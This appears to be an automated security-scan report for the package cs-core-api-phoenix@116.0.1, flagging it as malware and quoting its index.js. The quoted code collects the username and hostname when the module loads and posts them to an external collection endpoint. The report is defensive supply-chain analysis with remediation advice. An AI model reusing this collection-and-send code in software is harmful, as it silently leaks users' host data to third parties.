cs-core-api-phoenix@116.0.1
Core API client library
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe declared main entrypoint silently collects identifying host data and sends it to an external endpoint when loaded. This is concrete data exfiltration, supporting a malicious verdict and publication block.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading the package through its declared main entrypoint, index.js.
Impact
Identifying host and user data is disclosed to an unrelated recipient.
Mechanism
Top-level code reads the username and hostname and posts them to nathanaccacio.com/collect without a visible consent check.
Attack narrative
The package's main entrypoint runs collection and network code at module load. It posts the local username and hostname to nathanaccacio.com/collect, with no visible consent gate.
AI rationale
The declared main entrypoint silently collects identifying host data and sends it to an external endpoint when loaded. This is concrete data exfiltration, supporting a malicious verdict and publication block.
Evidence
package.jsonindex.js
Network endpoints1
nathanaccacio.com/collect
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package points to index.js as its main entrypoint.
- Loading index.js collects the local username and hostname without a visible user action.
- The module sends that identifying data in a POST request to nathanaccacio.com/collect.
Evidence against
Behavioral surface
Network
NoLicense
Source & flagged code
5 flagged · loading sourceindex.jsView file
1const https = require('https');
L2: const os = require('os');
...
L4: p: 'cs-core-api-phoenix',
L5: u: os.userInfo().username,
L6: h: os.hostname()
L7: });
...
L15: req.on('error', () => {});
L16: req.write(data);
L17: req.end();
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
index.jsView on unpkg · L11const https = require('https');
const os = require('os');
const data = JSON.stringify({
p: 'cs-core-api-phoenix',
u: os.userInfo().username,
h: os.hostname()
});
try {
const req = https.request({
hostname: 'nathanaccacio.com',
path: '/collect',
method: 'POST',
headers: {'Content-Type': 'application/json', 'Content-Length': data.length
High
Ai Review Evidence
Loading index.js collects the local username and hostname without a visible user action.
index.jsView on unpkg · L19const req = https.request({
hostname: 'nathanaccacio.com',
path: '/collect',
method: 'POST',
headers: {'Content-Type': 'application/json', 'Content-Length': data.length}
}, () => {
High
Ai Review Evidence
The module sends that identifying data in a POST request to nathanaccacio.com/collect.
index.jsFindings
5 High1 Medium1 Low
HighHost Fingerprint Exfiltrationindex.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowNo License
Affected versions and remediation
This report applies to cs-core-api-phoenix@116.0.1.
See all versions of cs-core-api-phoenix for other recorded verdicts.
- Avoid installing cs-core-api-phoenix@116.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.